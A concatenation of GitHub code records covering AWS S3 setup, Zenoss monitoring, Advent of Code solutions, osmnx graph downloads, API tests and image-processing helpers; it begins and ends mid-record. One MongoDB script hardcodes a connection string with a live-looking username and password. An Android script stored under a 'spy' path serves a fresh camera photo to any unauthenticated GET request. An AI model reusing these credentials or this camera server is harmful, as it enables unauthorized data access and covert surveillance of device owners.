}\r\n\r\n bucket_website = s3.BucketWebsite(bucket_name) # replace with your bucket name or a string variable\r\n response = bucket_website.put(WebsiteConfiguration=website_configuration)\r\n print('Static website configuration done.')\r\n\r\n # Upload file to bucket method\r\n print('Uploading file................')\r\n object_name = 'setu_logo.jpg'\r\n try:\r\n response = s3.Object(bucket_name, object_name).put(Body=open(object_name, 'rb'))\r\n print (response)\r\n except Exception as error:\r\n print (error)\r\n time.sleep(2)\r\n print('Upload Completed.')\r\n\r\n # Test for returning object key\r\n print('Returning bucket object key as an extra: ')\r\n for key in conn.list_objects(Bucket=bucket_name)['Contents']:\r\n print(key['Key'])\r\n\r\n # Public read enable (object_acl = s3.ObjectAcl('bucket_name','object_key'))\r\n object_acl = s3.ObjectAcl(bucket_name, object_name)\r\n response = object_acl.put(ACL='public-read')\r\n\r\n\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n t_download_file()\r\n t_create_bucket_and_upload()\r\n t_create_ec2_instance()\r\n \r\n","repo_name":"csibman27/devops_aws_instance","sub_path":"devops1.py","file_name":"devops1.py","file_ext":"py","file_size_in_byte":7709,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"38576363948","text":"__doc__=\"\"\"HPEVAStorageProcessorCard\n\nHPEVAStorageProcessorCard is an abstraction of a HPEVA_StorageProcessorCard\n\n$Id: HPEVAStorageProcessorCard.py,v 1.2 2010/05/18 13:37:38 egor Exp $\"\"\"\n\n__version__ = \"$Revision: 1.2 $\"[11:-2]\n\nfrom Globals import DTMLFile, InitializeClass\nfrom AccessControl import ClassSecurityInfo\nfrom Products.ZenModel.ExpansionCard import *\nfrom Products.ZenRelations.RelSchema import *\nfrom Products.ZenModel.ZenossSecurity import *\nfrom HPEVAComponent import *\n\nclass HPEVAStorageProcessorCard(ExpansionCard, HPEVAComponent):\n \"\"\"HPStorageProcessorCard object\"\"\"\n\n portal_type = meta_type = 'HPEVAStorageProcessorCard'\n\n\n caption = \"\"\n FWRev = 0\n state = \"OK\"\n\n monitor = True\n\n _properties = ExpansionCard._properties + (\n {'id':'caption', 'type':'string', 'mode':'w'},\n {'id':'FWRev', 'type':'string', 'mode':'w'},\n {'id':'state', 'type':'string', 'mode':'w'},\n )\n\n _relations = ExpansionCard._relations + (\n (\"fcports\", ToMany(ToOne,\n \"ZenPacks.community.HPEVAMon.HPEVAHostFCPort\",\n \"controller\")),\n )\n\n factory_type_information = (\n {\n 'id' : 'HPEVAStorageProcessorCard',\n 'meta_type' : 'HPEVAStorageProcessorCard',\n 'description' : \"\"\"Arbitrary device grouping class\"\"\",\n 'icon' : 'StorageProcessorCard_icon.gif',\n 'product' : 'HPEVAMon',\n 'factory' : 'manage_addExpansionCard',\n 'immediate_view' : 'viewHPEVAStorageProcessorCard',\n 'actions' :\n (\n { 'id' : 'status'\n , 'name' : 'Status'\n , 'action' : 'viewHPEVAStorageProcessorCard'\n , 'permissions' : (ZEN_VIEW,)\n },\n { 'id' : 'events'\n , 'name' : 'Events'\n , 'action' : 'viewEvents'\n , 'permissions' : (ZEN_VIEW, )\n },\n { 'id' : 'fcports'\n , 'name' : 'FC Ports'\n , 'action' : 'viewHPEVAStorageProcessorCardPorts'\n , 'permissions' : (ZEN_VIEW, )\n },\n { 'id' : 'perfConf'\n , 'name' : 'Template'\n , 'action' : 'objTemplates'\n , 'permissions' : (ZEN_CHANGE_DEVICE, )\n },\n { 'id' : 'viewHistory'\n , 'name' : 'Modifications'\n , 'action' : 'viewHistory'\n , 'permissions' : (ZEN_VIEW_MODIFICATIONS,)\n },\n )\n },\n )\n\n security = ClassSecurityInfo()\n\n security.declareProtected(ZEN_VIEW, 'getManufacturerLink')\n def getManufacturerLink(self, target=None):\n if self.productClass():\n url = self.productClass().manufacturer.getPrimaryLink()\n if target: url = url.replace(\">\", \" target='%s'>\" % target, 1)\n return url\n return \"\"\n\n security.declareProtected(ZEN_VIEW, 'getProductLink')\n def getProductLink(self, target=None):\n url = self.productClass.getPrimaryLink()\n if target: url = url.replace(\">\", \" target='%s'>\" % target, 1)\n return url\n\n def sysUpTime(self):\n \"\"\"\n Return the controllers UpTime\n \"\"\"\n cpuUpTime = round(self.cacheRRDValue('CntrCpuUpTime', -1))\n if cpuUpTime == -1: return -1\n return cpuUpTime / 10\n\n def uptimeString(self):\n \"\"\"\n Return the controllers uptime string\n\n @rtype: string\n @permission: ZEN_VIEW\n \"\"\"\n ut = self.sysUpTime()\n if ut < 0:\n return \"Unknown\"\n elif ut == 0:\n return \"0d:0h:0m:0s\"\n ut = float(ut)/100.\n days = ut/86400\n hour = (ut%86400)/3600\n mins = (ut%3600)/60\n secs = ut%60\n return \"%02dd:%02dh:%02dm:%02ds\" % (\n days, hour, mins, secs)\n\n def getRRDNames(self):\n \"\"\"\n Return the datapoint name of this StorageProcessorCard\n \"\"\"\n return ['StorageProcessorCard_CntrCpuUpTime']\n\nInitializeClass(HPEVAStorageProcessorCard)\n","repo_name":"zenoss/Community-Zenpacks","sub_path":"ZenPacks.community.HPEVAMon/ZenPacks/community/HPEVAMon/HPEVAStorageProcessorCard.py","file_name":"HPEVAStorageProcessorCard.py","file_ext":"py","file_size_in_byte":4377,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"72"} +{"seq_id":"3368435958","text":"'''Module for training and implementing models'''\n\n#import modules\nimport collections\nimport itertools\nimport numpy as np\nimport typing\n\n#functions\ndef get_amp_output(ic: np.ndarray, comms: typing.Tuple[int, int]) -> list:\n '''Returns amp output for phase setting and signal: (setting, sig).'''\n ix = 0\n id_ix = 0\n diag_codes = []\n\n while ix < len(ic):\n pars = f\"{ic[ix]:04}\"\n opcode = int(pars[2:]) \n \n if opcode == 3:\n ic[ic[ix+1]] = comms[id_ix]\n id_ix += 1\n ix += 2\n elif opcode == 4:\n diag_codes.append(ic[ic[ix+1]])\n comms.append(ic[ic[ix+1]])\n ix += 2 \n elif opcode == 99:\n break\n \n else:\n val_1 = ic[ic[ix+1]] if int(pars[1]) == 0 else ic[ix+1]\n val_2 = ic[ic[ix+2]] if int(pars[0]) == 0 else ic[ix+2]\n \n if opcode == 1: \n ic[ic[ix+3]] = val_1 + val_2\n if opcode == 2:\n ic[ic[ix+3]] = val_1 * val_2\n if opcode == 7:\n ic[ic[ix+3]] = 1 if val_1 < val_2 else 0\n if opcode == 8:\n ic[ic[ix+3]] = 1 if val_1 == val_2 else 0\n \n if opcode == 5:\n ix = val_2 if val_1 != 0 else ix + 3\n elif opcode == 6:\n ix = val_2 if val_1 == 0 else ix + 3\n else:\n ix += 4\n \n return diag_codes\n\ndef get_amp_loop_output(ic: np.ndarray, ic_ix: int, comms: typing.List[int], \n comms_ix: int) -> typing.Tuple[list, int, bool]:\n '''Returns amp output, index of pause, and whether the opcode '99' \n was performed. Requires intcode, start index for intcode, list of \n commands, and what command index to start on'''\n ix = ic_ix\n id_ix = comms_ix\n diag_codes = []\n code_99 = False\n \n while ix < len(ic):\n pars = f\"{ic[ix]:04}\"\n opcode = int(pars[2:]) \n \n if opcode == 3:\n ic[ic[ix+1]] = comms[id_ix]\n id_ix += 1\n ix += 2\n elif opcode == 4:\n diag_codes.append(ic[ic[ix+1]])\n ix += 2\n break\n elif opcode == 99:\n code_99 = True\n break\n \n else:\n val_1 = ic[ic[ix+1]] if int(pars[1]) == 0 else ic[ix+1]\n val_2 = ic[ic[ix+2]] if int(pars[0]) == 0 else ic[ix+2]\n \n if opcode == 1: \n ic[ic[ix+3]] = val_1 + val_2\n if opcode == 2:\n ic[ic[ix+3]] = val_1 * val_2\n if opcode == 7:\n ic[ic[ix+3]] = 1 if val_1 < val_2 else 0\n if opcode == 8:\n ic[ic[ix+3]] = 1 if val_1 == val_2 else 0\n \n if opcode == 5:\n ix = val_2 if val_1 != 0 else ix + 3\n elif opcode == 6:\n ix = val_2 if val_1 == 0 else ix + 3\n else:\n ix += 4\n \n return diag_codes, ix, code_99\n\ndef get_complex_fuel(mass: int) -> int:\n '''Returns fuel required for module mass and mass of additional \n fuel'''\n if mass < 9:\n fuel = 0\n else:\n fuel = get_simple_fuel(mass)\n fuel += get_complex_fuel(fuel)\n\n return fuel\n\ndef get_diagnostic_codes(ic: np.ndarray, sys_id: int = None, off: int = 0) -> list:\n '''Returns diagnostic codes for system ID'''\n ix = 0\n diag_codes = []\n\n while ix < len(ic): \n pars = f\"{ic[ix]:05}\"\n opcode = int(pars[3:])\n \n if opcode == 99:\n break\n \n ic = ic + (ix - len(ic) + 2)*[0] if ix+1 >= len(ic) else ic\n \n par_1 = int(pars[2])\n \n if par_1 == 0:\n par_1_ix = ic[ix+1]\n elif par_1 == 1:\n par_1_ix = ix + 1\n else:\n par_1_ix = off + ic[ix+1]\n \n ic = ic + (par_1_ix - len(ic) + 1)*[0] if par_1_ix >= len(ic) else ic \n \n if opcode == 3:\n ic[par_1_ix] = sys_id\n ix += 2\n elif opcode == 4:\n diag_codes.append(ic[par_1_ix])\n ix += 2\n elif opcode == 9:\n off += ic[par_1_ix]\n ix += 2\n \n else:\n par_2 = int(pars[1])\n \n if par_2 == 0:\n par_2_ix = ic[ix+2]\n elif par_2 == 1:\n par_2_ix = ix + 2\n else:\n par_2_ix = off + ic[ix+2]\n \n ic = ic + (par_2_ix - len(ic) + 1)*[0] if par_2_ix >= len(ic) else ic \n\n if opcode == 5:\n ix = ic[par_2_ix] if ic[par_1_ix] != 0 else ix + 3\n elif opcode == 6:\n ix = ic[par_2_ix] if ic[par_1_ix] == 0 else ix + 3\n \n else:\n par_3 = int(pars[0])\n \n if par_3 == 0:\n par_3_ix = ic[ix+3]\n elif par_3 == 1:\n par_3_ix = ix + 3\n else:\n par_3_ix = off + ic[ix+3]\n \n ic = ic + (par_3_ix - len(ic) + 1)*[0] if par_3_ix >= len(ic) else ic\n \n if opcode == 1: \n ic[par_3_ix] = ic[par_1_ix] + ic[par_2_ix]\n if opcode == 2:\n ic[par_3_ix] = ic[par_1_ix] * ic[par_2_ix]\n if opcode == 7:\n ic[par_3_ix] = 1 if ic[par_1_ix] < ic[par_2_ix] else 0\n if opcode == 8:\n ic[par_3_ix] = 1 if ic[par_1_ix] == ic[par_2_ix] else 0\n \n ix += 4\n \n return diag_codes\n\ndef get_complex_pwords(lbound: int, hbound: int) -> typing.List[int]:\n '''Returns list of complex passwords'''\n simple_pwords = get_simple_pwords(lbound, hbound)\n complex_pwords = []\n \n for pword in simple_pwords:\n val_count = collections.Counter([int(num) for num in str(pword)])\n\n if len(val_count.keys()) > 1:\n val_1, val_2 = val_count.most_common(2)\n if val_1[1] > 2 and val_2[1] == 2:\n complex_pwords.append(pword)\n elif val_1[1] <= 2:\n complex_pwords.append(pword)\n \n return complex_pwords\n\ndef get_program_code(ic: np.ndarray, state: int) -> typing.Generator:\n '''Returns program code(s) for a given intcode (ic) and desired\n end state. Returned generator will be empty if no codes are found.''' \n for i, j in itertools.product(range(100), range(100)):\n if state == get_program_state(ic.copy(), i, j):\n code = 100*i + j\n yield code\n \ndef get_program_state(ic: np.ndarray, noun: int, verb: int) -> int:\n '''Returns program state for a given intcode (ic), noun and verb.\n Noun and verb must be within [0, 99].'''\n ic[1] = noun\n ic[2] = verb\n \n for ix in range(0, len(ic), 4):\n if ic[ix] == 1:\n ic[ic[ix+3]] = ic[ic[ix+1]] + ic[ic[ix+2]] \n if ic[ix] == 2:\n ic[ic[ix+3]] = ic[ic[ix+1]] * ic[ic[ix+2]]\n if ic[ix] == 99:\n break\n \n return ic[0]\n\ndef get_simple_fuel(mass: int) -> int:\n '''Returns initial fuel required for module mass'''\n fuel = max(0, mass // 3 - 2)\n\n return fuel\n\ndef get_simple_pwords(lbound: int, hbound: int) -> typing.List[int]:\n '''Returns list of simple passwords'''\n pwords = []\n\n for pword in range(lbound, hbound+1):\n split_pword = [int(num) for num in str(pword)]\n\n n_gram = [(split_pword[ix], split_pword[ix+1]) for ix in range(5)]\n adj_digit = False\n digit_inc = True\n\n for val_1, val_2 in n_gram:\n if val_2 < val_1:\n digit_inc = False\n\n if val_1 == val_2:\n adj_digit = True\n\n if adj_digit and digit_inc:\n pwords.append(pword)\n\n return pwords\n\ndef get_wire_coords(wire: typing.List[str]) -> typing.List[tuple]:\n '''Returns (x, y) coordinates for every sequential position of wire'''\n coords = [(0, 0)]\n \n for move in wire: \n move_dir = move[0]\n move_lim = int(move[1:]) + 1\n pcoord = coords[-1]\n \n if move_dir == \"U\":\n for i in range(1, move_lim):\n coords.append((pcoord[0], pcoord[1]+i))\n elif move_dir == \"D\":\n for i in range(-1, -move_lim, -1):\n coords.append((pcoord[0], pcoord[1]+i))\n elif move_dir == \"R\":\n for i in range(1, move_lim):\n coords.append((pcoord[0]+i, pcoord[1]))\n elif move_dir == \"L\":\n for i in range(-1, -move_lim, -1):\n coords.append((pcoord[0]+i, pcoord[1]))\n \n return coords","repo_name":"mwtmurphy/advent-of-code","sub_path":"2019/aoc/models/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":8792,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"5814006601","text":"from likeprocessing.processing import *\nfrom time import sleep\ndef setup():\n createCanvas(500,200)\n background(\"grey\")\n textAlign(\"center\",\"center\")\n\ndef draw():\n redraw()\n sleep(0.5)\n for i in range(10,440,40):\n fill(color(i//2))\n rect(i,10,40,40)\n fill(\"white\")\n text(str(i),i,50,41,40)\n redraw()\n sleep(0.5)\n\n\nrun(globals())","repo_name":"oultetman/pyprocess_exo","sub_path":"rectangle de couleur.py","file_name":"rectangle de couleur.py","file_ext":"py","file_size_in_byte":387,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"28942801447","text":"\"\"\"Simple web server for Android that takes a picture on a GET request.\n\nIt uses the Scripting Layer for Android.\nhttp://code.google.com/p/android-scripting/\n\"\"\"\nimport BaseHTTPServer, android\nfrom os import path\n\ndroid = android.Android()\nFILENAME = \"/sdcard/sl4a/spy/pic.jpg\"\nPORT = 9090\n\nclass Handler(BaseHTTPServer.BaseHTTPRequestHandler):\n def do_GET(s):\n \"\"\"Respond to a GET request.\"\"\"\n droid.cameraCapturePicture(FILENAME)\n picture = open(FILENAME, 'rb')\n s.send_response(200)\n s.send_header(\"Content-Type\", \"image/jpeg\")\n s.end_headers()\n s.wfile.write(picture.read())\n\nserver_class = BaseHTTPServer.HTTPServer\nhttpd = server_class(('', PORT), Handler)\nhttpd.serve_forever()\n","repo_name":"antoineleclair/Android-Python-Camera-Web-Server","sub_path":"serve.py","file_name":"serve.py","file_ext":"py","file_size_in_byte":737,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"72"} +{"seq_id":"39831079478","text":"import osmnx as ox\nimport os\nimport unidecode\nfrom shapely import speedups\nfrom pathlib import Path\nfrom typing import List, Optional\n\nfrom src.tools.h3_utils import get_buffered_place_for_h3, get_resolution_buffered_suffix\n\n\nuseful_tags_way = [\n \"bridge\",\n \"tunnel\",\n \"oneway\",\n \"lanes\",\n \"ref\",\n \"name\",\n \"highway\",\n \"maxspeed\",\n \"service\",\n \"access\",\n \"area\",\n \"landuse\",\n \"width\",\n \"est_width\",\n \"junction\",\n\n # missing in the original config\n \"surface\",\n \"footway\",\n \"bicycle\",\n \"lit\",\n]\n\n\n# speedups.disable() # fix for: ValueError: GEOSGeom_createLinearRing_r returned a NULL pointer\n# print(\"Speedups enabled:\", speedups.enabled)\n\ndef generate_data_for_place(place_name: str, data_dir: str, h3_resolutions: List[int], network_type: str, regions: Optional[List[str]]):\n place_dir = get_place_dir_name(place_name)\n out_dir = Path(data_dir).joinpath(place_dir)\n if not os.path.exists(out_dir):\n os.makedirs(out_dir)\n\n download_and_save_data_for_place(place_name, out_dir, network_type, h3_resolutions, regions)\n\n\ndef download_and_save_data_for_place(place_name: str, out_dir: Path, network_type: str, h3_resolutions: List[int], regions: Optional[List[str]]):\n ox.config(useful_tags_way=useful_tags_way, timeout=10000)\n\n place_name_split = place_name.split(\",\")\n city = place_name_split[0]\n country = place_name_split[1]\n continent = place_name_split[2]\n\n if regions is not None:\n by_osmid = isinstance(regions[0], tuple)\n regions = list(map(lambda x: x[0], regions)) if by_osmid else regions\n place = ox.geocode_to_gdf(regions, by_osmid=by_osmid).dissolve()\n else:\n place = ox.geocode_to_gdf(f\"{city},{country}\")\n\n place = place.explode()\n place[\"area\"] = place.area\n place = place.sort_values(by=\"area\", ascending=False).iloc[[0]]\n place[\"city\"] = city\n place[\"country\"] = country\n place[\"continent\"] = continent\n polygon = place.geometry.item()\n\n G = ox.graph_from_polygon(polygon, network_type=network_type, retain_all=True)\n\n ox.save_graphml(G, Path(out_dir) / f\"graph_{network_type}.graphml\", gephi=False)\n # ox.save_graphml(G, Path(out_dir) / f\"graph_{network_type}_gephi.graphml\", gephi=True)\n\n gpkg_path = Path(out_dir) / f\"graph_{network_type}.gpkg\"\n ox.save_graph_geopackage(G, gpkg_path)\n place.to_file(gpkg_path, layer=\"place\", driver=\"GPKG\")\n\n for h3_res in h3_resolutions:\n place_buffered = get_buffered_place_for_h3(place, h3_res) # type: ignore\n place_buffered.to_file(gpkg_path, layer=f\"place_{get_resolution_buffered_suffix(h3_res, True)}\", driver=\"GPKG\")\n\n\ndef get_place_dir_name(place_name: str) -> str:\n return \"_\".join(unidecode.unidecode(place_name).replace(\",\", \"_\").replace(' ', \"-\").split(\"_\")[0:2])\n","repo_name":"Calychas/highway2vec","sub_path":"src/tools/osmnx_utils.py","file_name":"osmnx_utils.py","file_ext":"py","file_size_in_byte":2780,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"} +{"seq_id":"31786505177","text":"'''\nRealizar un algoritmo que pida números (se pedirá por teclado la cantidad de\nnúmeros a introducir). El programa debe informar de cuantos números\nintroducidos son mayores que 0, menores que 0 e iguales a 0.\n'''\n\nnum = 0\ncontadorMayor = 0\ncontadorMenor = 0\ncontadorIgual = 0\nnum= int(input(\"Dime cúantos números deseas introducir: \\n \"))\n\nfor num in range (0,num):\n num=int(input(\"Dime el número: \\n\"))\n if num > 0:\n contadorMayor += 1\n \n elif num< 0:\n contadorMenor += 1\n else:\n contadorIgual += 1\n \n\nprint(f\"hay {contadorMayor} números que son mayores que 0.\") \nprint(f\"hay {contadorMenor} números que son menores que 0.\")\nprint(f\"hay {contadorIgual} números que son igual que 0.\")","repo_name":"Albertoguiradoo/Ejercicios-Repetitivas_a","sub_path":"ejercicio4.py","file_name":"ejercicio4.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"6683110625","text":"# This is a sample Python script.\n\n# Press Shift+F10 to execute it or replace it with your code.\n# Press Double Shift to search everywhere for classes, files, tool windows, actions, and settings.\nidx = 0\n\n\ndef print_hi(name):\n # Use a breakpoint in the code line below to debug your script.\n print(f'Hi, {name}') # Press Ctrl+F8 to toggle the breakpoint.\n\n# Reverse the digits of an integer removing trailing 0s from the front, keeping the sign\ndef reverse(x):\n reversed_num = ''\n sign = 1\n if int(x) < 0:\n sign = -1\n for s in reversed(x):\n if s != '-' and int(s) > 0:\n reversed_num += s\n return sign * int(reversed_num)\n\n\n# Press the green button in the gutter to run the script.\nif __name__ == '__main__':\n test = (input(\"enter a number to reverse\"))\n print(reverse(test))\n\n\n# See PyCharm help at https://www.jetbrains.com/help/pycharm/\n","repo_name":"omegaman123/ProblemSolving","sub_path":"reverseInt.py","file_name":"reverseInt.py","file_ext":"py","file_size_in_byte":892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"139534809","text":"# coding: utf-8\nfrom __future__ import division, absolute_import, print_function, unicode_literals\nimport requests.exceptions\nfrom statface_client.report.api import (\n UploadChecker,\n JUST_ONE_CHECK,\n DO_NOTHING,\n ENDLESS_WAIT_FOR_FINISH,\n)\nfrom statface_client import (\n StatfaceHttpResponseError,\n StatfaceClientDataUploadError,\n)\nimport pytest\n\n\nclass VerySpecialError(Exception):\n pass\n\n\nclass YetAnotherCustomError(Exception):\n pass\n\n\nclass DummyApi(object):\n def check_data_upload_status_verbose(self, *args, **kwargs):\n raise VerySpecialError\n\n def fetch_data_upload_status(self, *args, **kwargs):\n return self.check_data_upload_status_verbose()['status']\n\n\nclass DummyApiWithoutProblem(DummyApi):\n def check_data_upload_status_verbose(self, *args, **kwargs):\n return dict(status='success', comment='fake')\n\n\nclass DummyApiWithNetworkProblem(DummyApi):\n def check_data_upload_status_verbose(self, *args, **kwargs):\n raise requests.exceptions.HTTPError\n\n\nclass DummyResponse(object):\n\n def __init__(self, status_code, reason=''):\n self.status_code = status_code\n self.reason = reason\n self.elapsed = 7.1\n self.text = 'zuzuzu'\n\n\ndef test_upload_checher():\n with UploadChecker(DummyApi(), ENDLESS_WAIT_FOR_FINISH, 'some_id'):\n assert True\n\n with pytest.raises(requests.exceptions.ConnectionError):\n with UploadChecker(DummyApi(), ENDLESS_WAIT_FOR_FINISH, 'some_id'):\n raise requests.exceptions.ConnectionError\n\n with pytest.raises(VerySpecialError):\n with UploadChecker(DummyApi(), JUST_ONE_CHECK, 'some_id'):\n raise requests.exceptions.ReadTimeout\n\n with UploadChecker(DummyApiWithoutProblem(), ENDLESS_WAIT_FOR_FINISH, 'some_id'):\n raise requests.exceptions.Timeout\n\n with pytest.raises(requests.exceptions.ReadTimeout):\n with UploadChecker(DummyApiWithNetworkProblem(),\n ENDLESS_WAIT_FOR_FINISH, 'some_id'):\n raise requests.exceptions.ReadTimeout\n\n with pytest.raises(VerySpecialError):\n with UploadChecker(DummyApi(), ENDLESS_WAIT_FOR_FINISH, 'some_id'):\n raise requests.exceptions.Timeout\n\n with UploadChecker(DummyApi(), DO_NOTHING, 'some_id'):\n raise requests.exceptions.Timeout\n\n with pytest.raises(StatfaceHttpResponseError):\n with UploadChecker(DummyApi(), DO_NOTHING, 'some_id'):\n raise StatfaceHttpResponseError(DummyResponse(500), None)\n\n with pytest.raises(StatfaceHttpResponseError):\n with UploadChecker(DummyApi(), DO_NOTHING, 'some_id'):\n raise StatfaceHttpResponseError(DummyResponse(403), None)\n\n with pytest.raises(YetAnotherCustomError):\n with UploadChecker(DummyApi(), JUST_ONE_CHECK, 'some_id'):\n raise YetAnotherCustomError\n","repo_name":"Alexander-Berg/2022-test-examples-3","sub_path":"library/tests/common/test_upload_checker.py","file_name":"test_upload_checker.py","file_ext":"py","file_size_in_byte":2850,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"73748162474","text":"from pymongo import MongoClient\r\nfrom datetime import datetime\r\ndef get_database():\r\n CONNECTION_STRING = \"mongodb+srv://Gowthami08:Jayahanuman%408@cluster0.uhue8lv.mongodb.net/test\"\r\n client = MongoClient(CONNECTION_STRING)\r\n #print(CONNECTION_STRING)\r\n return client['moDB'] \r\n \r\ndbname = get_database()\r\n\r\n\r\n#customer table\r\ncollection_name = dbname[\"customers\"]\r\ncust_details = collection_name.find()\r\n\r\nzip_cust = {}\r\nfor cust in cust_details:\r\n zip_cust[cust['CNO']] = cust['CNAME']\r\n\r\n \r\n#order table\r\ncollection_name = dbname[\"orders\"]\r\norder_details = collection_name.find()\r\nemp_list = []\r\nemp_diff = []\r\nfor i in order_details:\r\n if \"RECEIVEDDATE\" in i and \"SHIPPEDDATE\" in i:\r\n\r\n received_date = datetime.strptime(i['RECEIVEDDATE'], \"%Y-%m-%d\")\r\n shipped_date = datetime.strptime(i['SHIPPEDDATE'], \"%Y-%m-%d\")\r\n date_diff = shipped_date - received_date\r\n emp_diff.append((i['CUSTOMER'],date_diff.days))\r\n\r\nmaxx = 0\r\nmax_value_list = []\r\nfor j in emp_diff:\r\n if j[1] > maxx:\r\n maxx = j[1]\r\n max_value_list = [j[0]]\r\n elif j[1] == maxx:\r\n max_value_list.append(j[0])\r\n else:\r\n continue \r\n\r\nfor k in max_value_list:\r\n print(zip_cust[k])\r\n\r\n \r\n\r\n ","repo_name":"Gowthamiiiii/MongoDB","sub_path":"md.py","file_name":"md.py","file_ext":"py","file_size_in_byte":1253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"164148309","text":"import pytest\nfrom furita_api import FuritaApi\nfrom furita import (\n FuritaRequests,\n get_furita,\n get_default_params\n)\n\n\ndef test_no_sharpei(context):\n context.create_user('InvalidUser')\n uid = context.get_uid('InvalidUser')\n\n response = context.furita_api.api_list(uid)\n\n assert response.status_code == 500\n\n json_response = response.json()\n\n assert \"status\" in json_response\n assert json_response[\"status\"] == \"error\"\n assert \"report\" in json_response\n assert json_response[\"report\"] == \"connect error\"\n\n\n# HELPERS\n\n\n@pytest.fixture(scope=\"module\", autouse=True)\ndef furita_setup(request, context):\n\n def furita_teardown():\n if (context.furita):\n context.furita.stop()\n context.furita = None\n context.furita_api = None\n\n params = get_default_params(context.devpack)\n params[\"__SHARPEI_LOCAL_PORT__\"] = \"1\"\n context.furita = get_furita(params)\n context.furita_api = FuritaApi(FuritaRequests(context.furita.furita_host))\n request.addfinalizer(furita_teardown)\n","repo_name":"Alexander-Berg/2022-test-examples-3","sub_path":"mail/tests/isolated/test_no_sharpei.py","file_name":"test_no_sharpei.py","file_ext":"py","file_size_in_byte":1055,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"4543936366","text":"\"\"\"\nTools functions to load, blurr and show images or data\n---------\n Display : show initial image, blurred image, kernel\n@author: Cecile Della Valle\n@date: 09/11/2020\n\"\"\"\n\n# IMPORTATION\nimport numpy as np\nimport sys\nimport matplotlib.pyplot as plt\nimport math\nfrom scipy import interpolate\nfrom Codes.dataprocess import Blurr\n\n\ndef Display(K_init, K_alpha, Ninterp = 100):\n \"\"\"\n Compare initial Kernel and reconstruct Kernel with regularization parameter alpha.\n Kernel diagonal are interpolatre on finer grid.\n\n Parameters\n ----------\n K_init (numpy array) : initial kernel (2Mx2M size)\n K_alpha (numpy array) : reconstruct kernel (2Mx2M size)\n Ninterp (float) : size of grid of interpolation\n Returns\n ----------\n -\n \"\"\"\n # Interpolate the Kernel diagonal\n Nx = np.linspace(-1,1,K_init.shape[0])\n fi = interpolate.interp1d(Nx, np.diag(K_init))\n fa = interpolate.interp1d(Nx, np.diag(K_alpha))\n Nxnew = np.linspace(-1,1, Ninterp)\n K_i = fi(Nxnew)\n K_a = fa(Nxnew)\n # define graph\n fig, (ax1, ax2) = plt.subplots(1, 2 , figsize=(8,8))\n # Initial Kernel\n ax1.imshow(K_init)\n ax1.set_title('Kernel')\n ax1.axis('off')\n # Reconstruct Kernel\n ax2.imshow(K_alpha)\n ax2.set_title('Reconstruct')\n ax2.axis('off')\n #\n fig2, ax3 = plt.subplots(figsize=(10,5))\n ax3.plot(Nxnew, K_i, 'b+', label = \"initial\")\n ax3.plot(Nxnew, K_a, 'r+', label = \"reconstruct\")\n ax3.axis(ymin=0)\n ax3.legend()\n # Show plot\n plt.show()\n\n#\ndef Error_Display(x_init, K, K_alpha):\n \"\"\"\n Compare blurred image with initial kernel and with reconstruct kernel.\n Compute the error in l2 of the reconstruction.\n\n Parameters\n ----------\n x_init (numpy array) : initial inmage\n K (numpy array) : initial kernel (2Mx2M size)\n K_alpha (numpy array) : reconstruct kernel\n Returns\n ----------\n -\n \"\"\"\n fig, (ax0, ax1, ax2) = plt.subplots(1, 3, figsize=(15,10))\n # initial image\n ax0.imshow(x_init,cmap='gray')\n ax0.set_title('Initial')\n ax0.axis('off')\n # initial image (blurred)\n x_blurred = Blurr(x_init,K)\n ax1.imshow(x_blurred,cmap='gray')\n ax1.set_title('Blurred')\n ax1.axis('off')\n # reconstruct image (blurred)\n x_blurred_alpha = Blurr(x_init,K_alpha)\n ax2.imshow(x_blurred_alpha,cmap='gray')\n ax2.set_title('Reconstruct Blurred')\n ax2.axis('off')\n # Show plot\n plt.show()\n # Error computation and dispay\n norm = np.linalg.norm(x_init)\n error_l2 = np.linalg.norm(x_blurred_alpha-x_blurred)/norm\n print(\"Erreur totale :\")\n print(error_l2)","repo_name":"ceciledellavalle/BlindDeconvolution","sub_path":"OLD/posttreat.py","file_name":"posttreat.py","file_ext":"py","file_size_in_byte":2704,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"10679670440","text":"import os\nimport sys\n\nimport cv2\nimport numpy as np\n\n\nsys.path.append(\"..\")\n\nfrom utils.api import PRN\n\n\nclass Texture_Generator:\n def __init__(self):\n prefix = os.getcwd()\n self.prn = PRN(is_dlib=True, prefix=prefix[:-6])\n\n def get_texture(self, image, seg):\n pos = self.prn.process(image)\n image = image\n face_texture = cv2.remap(\n image,\n pos[:, :, :2].astype(np.float32),\n None,\n interpolation=cv2.INTER_CUBIC,\n borderMode=cv2.BORDER_CONSTANT,\n borderValue=(0),\n )\n seg_texture = cv2.remap(\n seg,\n pos[:, :, :2].astype(np.float32),\n None,\n interpolation=cv2.INTER_NEAREST,\n borderMode=cv2.BORDER_CONSTANT,\n borderValue=(0),\n )\n del pos\n return face_texture, seg_texture\n","repo_name":"VinAIResearch/CPM","sub_path":"Color/texture_generator.py","file_name":"texture_generator.py","file_ext":"py","file_size_in_byte":882,"program_lang":"python","lang":"en","doc_type":"code","stars":320,"dataset":"github-code","pt":"72"} +{"seq_id":"38174865221","text":"import random\nimport numpy as np\nfrom torch.utils.data import Dataset as torchDataset\nnp.random.seed(0)\nimport torch.nn.functional as F\nfrom torchvision import transforms\nimport cv2\nfrom 